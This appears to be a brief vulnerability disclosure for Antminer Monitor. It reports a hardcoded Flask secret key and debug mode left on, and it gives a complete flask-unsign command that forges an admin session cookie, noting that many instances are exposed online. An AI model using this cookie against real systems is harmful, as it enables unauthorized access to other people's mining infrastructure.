  Software is commonly used for Monitoring antminers and could easily be
  found in zoomeye ( 800), shodan ( 500).
  
  For now this is the most popular antminer monitoring tool.
  
  Vulnerability in Antminer Monitor exists because of backdoor or
  misconfiguration done
  
  by developer inside settings file in flask server.
  
  Settings file has a predefined secret string, which would be randomly
  generated, however it is static in this
  build.antminer-monitor/settings.py at
  5c62e1064af30674bacb9e1917d5980efbde1fcd · anselal/antminer-monitor ·
  GitHub <https://github.com/anselal/antminer-monitor/blob/5c62e1064af30674bacb9e1917d5980efbde1fcd/config/settings.py>
  
  Secret key is 'super secret key'.
  
  Based on this information we can craft authorization bypass cookies.
  
  Using software flask-unsing we can generate cookie which will provide
  you admin access.
  
  flask-unsign --sign --cookie "{'_fresh': True, '_id':
  b'df230a95eb5318d31fa83690c667cfd6a824dbfe61949bf30b9d75e71c6ea20714b87113fcafe2340df9a8a6f3567e7a2faedc2c12d05e4e338558e47afe84f6',
  '_user_id': '1', 'csrf_token':
  b'15d0261b7f3f40849920ebb94f7a2368397f76ff'}" --secret "super secret
  key"
  
  Additionally you can use this universal cookie to access web interface
  of flask application.
  
  This cookie can work on all systems in "session" field.

  In addition DEBUG = True which means /console works, however it needs pin.
